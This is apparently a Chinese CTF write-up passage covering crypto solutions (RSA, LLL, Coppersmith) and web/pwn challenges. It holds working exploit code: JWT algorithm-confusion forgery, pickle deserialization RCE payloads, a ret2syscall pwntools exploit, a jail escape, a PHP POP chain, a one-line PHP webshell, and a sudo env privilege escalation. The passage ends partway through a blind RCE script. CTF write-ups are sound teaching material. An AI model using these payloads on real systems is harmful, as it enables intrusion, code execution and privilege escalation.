d1 = inverse(e1//2,f1)
m1c = pow(c1,d1,p1*q1)
m1 = gmpy2.iroot(mpz(m1c),mpz(2))[0]
m1h = hex(m1)[2:]
print(m1h)

# 2
d2 = inverse(e2//2,f2)
m2c = pow(c2,d2,p2*q2)
m2 = gmpy2.iroot(mpz(m2c),mpz(2))[0]
m2h = hex(m2)[2:]
print(m2h)

# 3
d3 = inverse(e3//3,f3)
m3c = pow(c3,d3,p3*q3)
m3 = gmpy2.iroot(mpz(m3c),mpz(3))[0]
m3h = hex(m3)[2:]
print(m3h)

# 4
d4 = inverse(e4//2,f4)
m4c = pow(c4,d4,p4*q4)
m4 = gmpy2.iroot(mpz(m4c),mpz(2))[0]
m4h = hex(m4)[2:]
print(m4h)

flag = m1h+m2h+m3h+m4h
h = md5(flag.encode()).hexdigest()
print(f'flag{{{h}}}')

# 2
# 2
# 3
# 2
# 688682bc45a043f2e139153780fdd54af8517dd885464bdfa3dbcf776169255c
# 9304306d542508c59abf30f99b98fefcd2951df2effc81fca8e5aa26414819cb
# 144576b4302a8c5262d7d4d9b2ebb3468835c709cc88fc0b8b38b52a6f31d3ab
# 6b25edeccfcf74f0dfc77abc90d757a49c1d0fb1c90e67db7918c61be80ad59c
# flag{d3f06717efc6c0daf454ffeac9764687}

Crypto/Web

jwt_pickle

jwt和pickle,做就完事了OUO

代码审计,发现jwt使用RS256加密,且使用RS256或HS256解密。

参考:2024网鼎杯初赛-青龙组-WEB01

先生成两个token,然后利用rsa_sign2n工具来生成公钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFhYSIsInBhc3N3b3JkIjoiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCJpc19hZG1pbiI6ZmFsc2V9.esPiIzL35oWvFOGJeibCt7otZWE-83pVzGuljOE4O19amvZ2Y8zwgW71M-_CSVh_Wdiaz8RJaBKs-w_WCFSoEhEr7bToIDH5zeY38d8H4gkBpNGLhFWvhoRF5a-T0VrHS7JeTSJdyVgqpS7vF5o8pT3Q_fC13Hv4I-lMCYfeNhCe-SQnm9c86wVwF7i0KLY0vvi4CI9zx-iZWSzNHFmSpnXmQms8Tg9KoKO7Qq6SpccPbL4eJ5o52lSAjtohSeubVJcC_suXlNuB-odexWVozcuTRcAC-9uGUAWl7qZHc3TZffFOotggGONL5qSqpQJR5ST8KbCJkqk2hGnBpg9GSw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImNjYyIsInBhc3N3b3JkIjoiNzc5NjNiN2E5MzEzNzdhZDRhYjVhZDZhOWNkNzE4YWEiLCJpc19hZG1pbiI6ZmFsc2V9.mJJbTtmHn_4dUKpaTEdETBdpFuTF7AggxptHdDuIPnD2FaIA1gX2Ys9PB5R4vLzi8MUTLB4Wufuoh2UCQnSzX0lVUx347ujgHUO_xrvPwkUAiZjoM4j5W7csJWMsSL-9T3AmHpRjJbHnXvmVzt_xQvOSBU1KUgkw2tyuwxPqjPJjkpKXIaialQmRL2ML3t2SdWiyPvPy9yo4BXQFRpFRLAA82C7OZN43wuoSSUVBvwnh6XnQXAoVugLxnFF7qFrxLDeb0b37K3_-ynMiU4FvLArGvgaWkQqvM2PdOEVpynvsM5SRGsrxvgJqo19aaSwjnttksRbfKLOJcKUFW3XwLg
[*] GCD: 0x4
[*] GCD: 0x2cdf3da1c5b0e166e522b8eee9feb75e98fe6a9e9bc0092cd81e32916cfee418321e21801d4b385b9361600765d21dde3e02a1a42734ebccad3194ed323cc09a4a78cccab401bb6139b3537871c649d8a0da4358e1f9e565ec5fcdd42c3660000755f53ff91a59dd7eb6ee9895cfcfd058826ac70353fe8fb55e65b62fa929bc3ea29998aff334a3c217053ab04120272b582e6692bb88bd23a3478e4462be43f8c39b3256e0d64399e51f0f0ea69c9726a6c91dae89e1b7c58f2655dcb291cccc862b13565dd5b844d3494a92e614fa90f07a66f8f10e19090bc76c6c954e82bc47afafd3df8384dcfd2d1fbfa8266923ea8b48c6b8f112df6d8e67420e076a4
[+] Found n with multiplier 1 :
0x2cdf3da1c5b0e166e522b8eee9feb75e98fe6a9e9bc0092cd81e32916cfee418321e21801d4b385b9361600765d21dde3e02a1a42734ebccad3194ed323cc09a4a78cccab401bb6139b3537871c649d8a0da4358e1f9e565ec5fcdd42c3660000755f53ff91a59dd7eb6ee9895cfcfd058826ac70353fe8fb55e65b62fa929bc3ea29998aff334a3c217053ab04120272b582e6692bb88bd23a3478e4462be43f8c39b3256e0d64399e51f0f0ea69c9726a6c91dae89e1b7c58f2655dcb291cccc862b13565dd5b844d3494a92e614fa90f07a66f8f10e19090bc76c6c954e82bc47afafd3df8384dcfd2d1fbfa8266923ea8b48c6b8f112df6d8e67420e076a4
[+] Written to 2cdf3da1c5b0e166_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.Ay8GNWt_1llpI5Q8qPOt-wIs7c8AjxQZ85nc97Y0b8Y'
[+] Written to 2cdf3da1c5b0e166_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.4lUi6OL8NIqdBeJ9y0s4BkV9-5twlf973KXfVuB0bXg'
[+] Found n with multiplier 2 :
0x166f9ed0e2d870b372915c7774ff5baf4c7f354f4de004966c0f1948b67f720c190f10c00ea59c2dc9b0b003b2e90eef1f0150d2139a75e65698ca76991e604d253c66655a00ddb09cd9a9bc38e324ec506d21ac70fcf2b2f62fe6ea161b300003aafa9ffc8d2ceebf5b774c4ae7e7e82c41356381a9ff47daaf32db17d494de1f514ccc57f99a51e10b829d5820901395ac1733495dc45e91d1a3c722315f21fc61cd992b706b21ccf28f8787534e4b9353648ed744f0dbe2c7932aee5948e666431589ab2eeadc2269a4a549730a7d48783d337c78870c8485e3b6364aa7415e23d7d7e9efc1c26e7e968fdfd4133491f545a4635c78896fb6c733a10703b52
[+] Written to 166f9ed0e2d870b3_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.aApemXL-HmcakktrnGr1XaUpkfaMOp4oL919wO3MJy0'
[+] Written to 166f9ed0e2d870b3_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.vJ1JdCFGV3vRkM1H3IF8wlFKaWVXcQbrHix3gHqvZMo'
[+] Found n with multiplier 4 :
0xb37cf68716c3859b948ae3bba7fadd7a63f9aa7a6f0024b36078ca45b3fb9060c8788600752ce16e4d85801d97487778f80a86909cd3af32b4c653b4c8f3026929e3332ad006ed84e6cd4de1c719276283690d6387e79597b17f3750b0d980001d57d4ffe4696775fadbba62573f3f416209ab1c0d4ffa3ed57996d8bea4a6f0fa8a6662bfccd28f085c14eac104809cad60b99a4aee22f48e8d1e39118af90fe30e6cc95b83590e67947c3c3a9a725c9a9b2476ba2786df163c995772ca47333218ac4d597756e1134d252a4b9853ea43c1e99be3c43864242f1db1b2553a0af11ebebf4f7e0e1373f4b47efea099a48faa2d231ae3c44b7db6399d08381da9
[+] Written to b37cf68716c3859b_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.exHt20EJDDnCPtoF5H1WI80i5o7HmntbrISr9-wuZg4'
[+] Written to b37cf68716c3859b_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.QejW2HaJAbmCgXQHkJxutQdYaSaFSeRnhKA3LKSyahY'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.Ay8GNWt_1llpI5Q8qPOt-wIs7c8AjxQZ85nc97Y0b8Y
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.4lUi6OL8NIqdBeJ9y0s4BkV9-5twlf973KXfVuB0bXg
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.aApemXL-HmcakktrnGr1XaUpkfaMOp4oL919wO3MJy0
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.vJ1JdCFGV3vRkM1H3IF8wlFKaWVXcQbrHix3gHqvZMo
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.exHt20EJDDnCPtoF5H1WI80i5o7HmntbrISr9-wuZg4
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCAiaXNfYWRtaW4iOiBmYWxzZSwgImV4cCI6IDE3MzA2ODgxNjZ9.QejW2HaJAbmCgXQHkJxutQdYaSaFSeRnhKA3LKSyahY

利用 /admin 回显尝试出公钥是 b37cf68716c3859b_65537_pkcs1.pem

/admin 路由可通过HS256解析,尝试修改RS256为HS256,先生成pickle:

1
2
3
4
5
6
7
8
9
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('sleep 5')",))
poc = A()
result = pickle.dumps(poc)
result = base64.b64encode(result)
print(result)

再生成HS256的jwt:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 1.js
const jwt = require('jsonwebtoken');
const fs = require('fs');

var cert = fs.readFileSync(process.cwd()+'\\b37cf68716c3859b_65537_pkcs1.pem');
// console.log(privateKey);

var token = jwt.sign({username: "aaa",password: "08f8e0260c64418510cefb2b06eee5cd",is_admin: true,introduction: "gASVPgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwiX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3NsZWVwIDUnKZSFlFKULg=="}, cert, { algorithm: 'HS256' });
console.log(token)

// **************************//
// node 1.js
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSIsInBhc3N3b3JkIjoiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCJpc19hZG1pbiI6dHJ1ZSwiaW50cm9kdWN0aW9uIjoiZ0FTVlBnQUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJd2lYMTlwYlhCdmNuUmZYeWduYjNNbktTNXplWE4wWlcwb0ozTnNaV1Z3SURVbktaU0ZsRktVTGc9PSIsImlhdCI6MTczMDYwNDAzMH0.ro7Xyjbw5uyYmIh1TRYDpiWHKoYDtV-fEQ9yhIumzz0

修改cookie,尝试成功触发sleep,改pickle为反弹shell代码,成功反弹shell,cat /flag 得到flag。

Reverse/Pwn

WhoIsAdmin

尝试对AcountSystem进行攻击,获取shell,拿到flag。你需要想办法让admin_login_state登录状态为1,并买下该系统,才能改系统名称哦。前置知识:Crypto:AES-CBC翻转攻击,Pwn:整数溢出、64位ret2syscall

分析菜单的主要功能如下:

1-新建普通用户,用户名=BinaryCryptoYYDS,AES加密,得到密文
3-显示 money
4-输入 x 计算RSA,成功后,输入 ymoney+=(-100)*yLimitAcountNumber+=y
5-显示 LimitAcountNumber
6-如果 money>50000,买下系统,则 buy=1
7-输入密文,AES解密得到 用户名=AdminAdminAdminA,则 admin_login_state=1
8-满足用户是 adminadmin_login_state == 1)且买下系统(buy == 1)后,可以修改系统名字

攻击思路

先买系统,输入4,计算 x

1
2
3
4
5
6
7
8
9
10
n = 281443
p = 431
q = 653
e = 17
c = 222876
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,n)
print(m)
# 1640

然后整数溢出,使 money>50000,输入6,买下系统,buy=1

下一步伪造管理员登录,输出7,cbc字节翻转攻击,满足用户名=AdminAdminAdminAadmin_login_state=1

最后改系统名字,输入8,scanf 栈溢出,ret2syscall。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(arch='amd64',os='linux')

r=remote('nc1.ctfplus.cn',24011)

# buy = 1
r.sendlineafter(b'> ',b'4')
r.sendlineafter(b'satisfied???\n',b'1640')
r.sendlineafter(b'add?\n',b'-500')

r.sendlineafter(b'> ',b'6')

# admin_login_state = 1
r.sendlineafter(b'> ',b'1')
m0 = 'BinaryCryptoYYDS'
m1 = 'AdminAdminAdminA'
r.recvuntil(b'authcode: ')
c0 = r.recvline().strip().decode()
print(c0)
c = list(bytes.fromhex(c0[:32]))
for i in range(16):
c[i] ^= (ord(m0[i])^ord(m1[i]))
new_c = bytes(c).hex()+c0[32:]
print(new_c)

r.sendlineafter(b'> ',b'7')
r.sendlineafter(b'authcode: \n',new_c.encode())

# change name
pop_rax=0x40153c
pop_rdi=0x402db3
pop_rsi_r15=0x402db1
pop_rdx=0x401538
ret=0x40101a
syscall=0x401527
AccountSystemName_addr=0x4052F0
r.sendlineafter(b'> ',b'8')
r.recvuntil(b'name: ')
pl=flat([
b'/bin/sh\x00'.ljust(0x20+8,b'\x00'),
pop_rax,59,
pop_rdi,AccountSystemName_addr,
pop_rsi_r15,0,0,
pop_rdx,0,
syscall
])
r.sendline(pl)

r.interactive()

# flag{PwnAndCryptoAreBothVeryInteresting}

Week4

Misc

hard_jail

waf好短,看起来好简单OUO

交互拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
black=["(",")","\'","\"","@"]
banner=''' _ _ _ _ _
| |__ __ _ _ __ __| | (_) __ _(_) |
| '_ \ / _` | '__/ _` | | |/ _` | | |
| | | | (_| | | | (_| | | | (_| | | |
|_| |_|\__,_|_| \__,_|____ _/ |\__,_|_|_|
|_____|__/'''
print(banner)
print("input your code or input 'show' to get the source code")
while True:
code = input(">>")
if code=="show":
print(open(__file__,"r").read())
continue
if not code.isascii():
exit("Please input ascii")
if len(code)>50:
exit("code too long")
for word in black:
if word in code:
exit("hacker!!!!")
exec(code)

覆盖black为空即可:

1
2
3
>>black=[]
>>print(__import__("os").popen("ls /home/*").read())
>>print(__import__("os").popen("nl /h*/*/*").read())

Secret of Starven

有黑客进入了Starven的电脑,还偷走了他的学习资料,你能帮助他挽回尊严嘛

SMB流量,用 smb2 筛选,在405提取 secret.zip 数据,zip爆破,密码:spellorstarve

解压得到flag:SYC{D0n7_spre0d_St@rven's_s3crEt}

Crypto

easy_LLL

升级svp,flag前缀为SYC{xx}

HNP问题,$a_im+b_i \equiv c_i \pmod p \Rightarrow -b_i=a_im-c_i+k_ip$,构造格,LLL求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
p = 114770017142688382362918268558878024848633097928402093647914503696492833723966801545716194546592346338592062332306371502256979159033965343002132956304625610134374822329402499359634555710129039614275145668904822690744696925414716152630310915301980153974374009140517084226870950134327432658087834138202887501571
c = [25269157674120082500323585451842928560404625967932662908517922704871828513397233858615005968124017428639853960550468542894270451871612496631645175015826203493265945456529848647562285359912541672751550625137876486033809099678631009005979648033707322772087110235116987698692692467320479776960630479772236446980, 75827517416784647262997004080634347924631190865715212882627791181841845414253117114184423517850773219376565782814219713490136873921446382123059696483594598328510450811390866671002685611755205236016843942407419858592870716928648777362367108239158432436307113173823883182666320180058177554647020175991566479974, 4000439731719746534404360339840675006453847582492745979982221624660296805996044239209286181541462187650487112017410839740281883027081539802479046385802021188067656190594734619927933032154534742175380783895559841318520045144113562164247717915766667365412215754183668349398802684299015216478025166881475794536, 16711257143606850336586355581909703391105580636095435863487225535083010317005439435375105800641024112138121810242207127443011036209544967633123983636015153089843815287370646565071784002098183021489882046492609441708361550786752857773565252821037805549119284258373739189052221307754872723967188683410620808193, 106512227999048988543537542345636528925594107128125030635002665980574709006558840446189017357623681828677935125012144689963798865971782914704616798239451971370511961281779438306334353650663495164449411037055054859128957955413918744183200858441122917851347996800797164614883188302584586112732819164555910532500]
a = [177876163920838720585474640511391249051418827853372387342635245341495792468826199544624082182728094652999191797576747605771062756630817438777653951772485569478516324903956113309190795622258346824643390004835397272889256696087356239515881459115499360779486974615331766141255410923960657795391638070660994726539, 154147211832384364492785997490497428696214843927503185938896425556028644075902949520267734189423717477702286854849502563505554965833703544305651488482204719931055591825164774932532116940955079750398001376723036214113076925445019856194390932639722726924707396244454184674407094860919513514591518499956074524561, 162236910312416448303316079284626131452444352290110477620135842885125003493068172330766174225997049094080836685617836911475638508283918576304502582848847097467251286819613975600023439985149604495163647781268904127545271241114039490048103188362740808427663167350820948490766499995036870926879430699822216419877, 156324330649465856865205652642919116551480610060830456323361514761783406613162826555066367215822747145109223530381689780625035795004458919262362420375225560790467893332585836287433463308447660726674632677063603419250881619682710122472587150879771212601074942044613408069114640355658551759306352327418458216623, 94727349364308455432706991721504607810501329870619614073375570944298709074650444442139356318854809081925625009516102978518170343525726627149123655332253529418292440747073463615106501530133930750010290051226765906194210372904323460884238665194406125116885468971886527174150462509520345910607640580833401931201]
t = 5

A = a[:]
B = [-k for k in c]

# Construct Lattice
K = 2^400 # ki < 2^400
X = p * identity_matrix(QQ, t) # t * t
Z = matrix(QQ, [0] * t + [K/p] + [0]).transpose() # t+1 column
Z2 = matrix(QQ, [0] * (t+1) + [K]).transpose() # t+2 column

Y = block_matrix([[X],[matrix(QQ, A)], [matrix(QQ, B)]]) # (t+2) * t
Y = block_matrix([[Y, Z, Z2]])

# Find short vector
Y = Y.LLL()

# check
k0 = ZZ(Y[1, 0] % p)
x = ZZ(Y[1, -2] / (K/p) % p)
assert(k0 == (A[0]*x + B[0]) % p)
print(x)
print(bytes.fromhex(hex(x)[2:]))

# b'SYC{125b-5c7b19c7-90e2-8d87c8a8}'

highlow

高,低位,异或,flag前缀为SYC{xx}

flag为44位,高1024-44*8-400=272为0,低400位为0,coppersmith求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from tqdm import *

c = 11017336122691034053241992293963114590816319844384287448629663672049205892828600396465505710922907685545939978376321927394655458727494361852952898280905220963163625482295222856129164172619564344634365520328815972232825639292605311741655988427166811406091329613627961070231457035303298793651546412496975662225857123805867756651901374507447803198638466304862480202099076813471571495380132563252630789218173007275890600746758285415274434393381125742526014986039652677605642226576741424053749512280825231217420239089105794080707322357602941046822659335487420672699022969372037662958497832065752272061853723653365171768556
n = 14091206320622523674847720139761543154822190879035380245424481267482550932229611965964424965958386255076593911062804299275581742665134207390532802109700225140999812698020838683697375891035625255222001884477214361835101442288725383073334392995186053867261497679234362794914108033574681292656522807928680812726462195077833184018122369579002715900477290345396065912536529290811962117814900448319776590712946259540382461632468634827959957286905806432005632864663985014872365672653476822833921870071851313424903481282350342304819149894610089804321405589433980650340610521659031234826823369114800150883988613877877881069579
pxor = 124229245244085791439650934438639686782423445183921252684721764061493908790073948877623812930339081158169421854801552819088679937157357924845248082716160727839419054107753000815066526032809275137495740454967765165248115412626716101315676902716808647904092798908601183908297141420793614426863816161203796966951
e = 65537

# 1024-44*8-400=272
ph = pxor >> (44*8+400) << (44*8+400)
pl = pxor % (2^400)
P.<x> = PolynomialRing(Zmod(n))
f = ph + x * 2^400 + pl
root = f.monic().small_roots(X=2^(44*8), beta=0.48)
p = ph + int(root[0]) * 2^400 + pl

q = n // p
f = (p-1)*(q-1)
d = inverse(e,f)
m = pow(c,d,n)
print(long_to_bytes(int(m)))

# b'SYC{2f521b13bc9d6e932e9f5cbe511112df9e3a9c6}'

Number theory

费马,flag前缀为SYC{xx}

$h_0 \equiv (1012q + 2024)^p \pmod n \\\Rightarrow h_0 \equiv (1012q + 2024)^p \pmod q \\\Rightarrow h_0 \equiv 2024^p \pmod q \\\Rightarrow 2024^p = h_0-kq \\\Rightarrow 2024^n = (h_0-kq)^q \\\Rightarrow 2024^n=h_0^q + Kq \\\Rightarrow 2024^n \equiv h_0 \pmod q$

所以 $2024^n-h_0$,必然是 $q$ 的倍数。

$h_1=a_1p+b_1q,h_2=a_2p+b_2q \\\Rightarrow b_2h_1=a_1b_2p+b_1b_2q,b_1h_2=a_2b_1p+b_1b_2q$

相减有 $b_2h_1-b_1h_2=(a_1b_2-a_2b_1)*p$,爆破小位数的 $b_1,b_2$ 求gcd得 $p$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *

h0 = 3220497006402049508998763812708472832647814868290156746347730942871191356255789659370553564805270033069126673720344310199953651087754072020225702916105541813428786992668144172000495857408180695235017329451164552864440669887978780387408892281885728829108705426036377534262123812335152528611168777211280571694805002313718755871797426493929314877273385162106226582910473718696585558235361302211164190022765345477880209355073870857330694309139033191510002831755011163554405501084092882774630793037506647051531578470767441695642108269033577519614546722167605348209455599860877630930453549375215766657975702946679735793440
n1 = 20609629372145649869124883931477035418773265506807982287973634398860995335157854064383658546598627777214414513344620919765235474447787454254677033199140440513722365295528339478763686234572386246701669139829187532179573583918405628738545887852577214800663095592976049188005405242091639210252676232732956312108538849591909382864675439965387851084691144379692503823575367370407191667133473482821484955537306602611587604747693171586870973700406072872451067709522642066831289686968535823774273770385924779368338446367102184983154486987531633971065357864924738084803301054789863293592286600424063888458243900130876991944561
h1 = 49194502383195208917988199785355579000471120627698824524136563939112767971337049691779758664899497703009458337602635607307068610164325874221815125058246159504553260658300727486252329656228567456351563661171511248498573151135374757953887871426130912974127123668357951196795364055703535399924661649957282476915345782505912688106575686848420343362888
h2 = 56029812337811022982598747354987989915364610368395101948222609237230875599013444593473706280586983516630982411154519894488542135837471701015074142753084529513202513061481615522865380857058628008542724882609524855349464549317203533208567803034618377155637303135785566874122555481931560957334493233423618193735362609235034574175221191665401074291634
n2 = 21127172569887870569621986802814771398069606826661397979515556618791602174698226712111670185315617811180192688381471253591193212149192104216153890060029438171543010427356810059660168369171504065120474047401466632600230981702536898738744701541132759858595341068713321976579864810553447534204513491008705215041861247277449063318972113826820821732327255577559447446606667162763843696891825420560307688553022453470653875157114663943723258181186659915926780802902213978395961981750159147594076399769386787561910947372748908551775527715538708855235861297549189165238857651886658156332640360898769204102407630920314871304057
c = 5607552428806279725164332098717496105359323731793797865776852054987286366396268835656116948807084338497364746716217052175055013330847114498067023163878490040957130515880922531725226729467904687450269817551037876044274898360914422201634758724176912018795267171627398316542607462818553194467631468793807762529509728325759331142060865432879561622747895422022839077034959965640817419843376693946391886148327389538923557583964708218796910422008150480950732394548385083016293891237783400286493750498647816940000092965104858068292374074379723230507283787259827582725133425982004517180631242028412315096023451549819804660838
e = 65537

q = GCD(n1, pow(2024,n1,n1)-h0)

primelist = [i for i in range(2**12,2**13) if isPrime(i)]
print(len(primelist))
for a in primelist:
for b in primelist:
g = GCD(n2, abs(b*h1-a*h2))
if g != 1:
p = g

d = inverse(e,(p-1)*(q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))

# b'SYC{492aebb6-9c16-4b1a-ac42-fc608bf6063f}'

Web

not_just_pop

听Bingfeng师傅说他的ez_pop很难,要不试试这个更简单的?

pop链构造,传给Syclover参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from phpserialize import *
import base64

class lhRaMK7:
public_love='phpinfo();'

class Starven:
public_friend=lhRaMK7()

class SYC:
public_forever=Starven()

class Parar:
private_execurise='man!'
public_hansome=SYC()

class Starven:
public_girl=Parar()

class lhRaMK7:
public_Do=Starven()
public_You=SYC()

s = serialize(lhRaMK7())
print(base64.b64encode(s[:-1].encode()))

# Tzo3OiJsaFJhTUs3IjoyOntzOjI6IkRvIjtPOjc6IlN0YXJ2ZW4iOjE6e3M6NDoiZ2lybCI7Tzo1OiJQYXJhciI6Mjp7czoxNjoiAFBhcmFyAGV4ZWN1cmlzZSI7czo0OiJtYW4hIjtzOjc6ImhhbnNvbWUiO086MzoiU1lDIjoxOntzOjc6ImZvcmV2ZXIiO086NzoiU3RhcnZlbiI6MTp7czo2OiJmcmllbmQiO086NzoibGhSYU1LNyI6MTp7czo0OiJsb3ZlIjtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fX19fXM6MzoiWW91IjtPOjM6IlNZQyI6MTp7czo3OiJmb3JldmVyIjtyOjU7fQ==

发现存在 disable_function,无法读/flag:

1
exec,system,shell_exec,popens,popen,curl_exec,curl_multi_exec,proc_open,proc_get_status,,readfile,unlink,dl,memory_get_usage,dl,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,linkopen_basedir 

更换命令为 file_put_contents("1.php","<?php eval($_POST[1]);"); 写马,蚁剑连接,使用绕过 disable_function 插件,测试使用PHP7_Backtrace_UAF可以成功执行命令。

sudo -l 发现:NOPASSWD: /usr/bin/env

env -C :在指定目录下执行指定命令,并设置相应的环境变量。例如,输入”env -C /usr/bin ls”命令会在/usr/bin目录下执行ls命令。

提权读/flag:sudo /usr/bin/env -C cat /flag

ez_python

五个月前,道心破碎,于是便出了这道题,你能治愈当时的我破碎的心灵吗?我会给你flag作为奖励……

注册,登录,提示:Error!!!! give you hint: maybe you can view /starven_s3cret

访问 /starven_s3cret 下载源码,代码审计,在 /login 路由下,statement传入内容,再触发pickle反序列化。

构造:

1
2
3
4
5
6
7
8
import base64

payload = b'''(cos
system
S'sleep 3'
o.'''

print(base64.b64encode(payload))

发现可以过黑名单,且成功触发sleep。

尝试反弹shell不成功,配合RCE盲注拿flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import base64

chars = [' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
s = requests.Session()
url = 'http://xxxxxx'

s.post(f'{url}/register',data={'username':'x','password':'y'})

result = ''

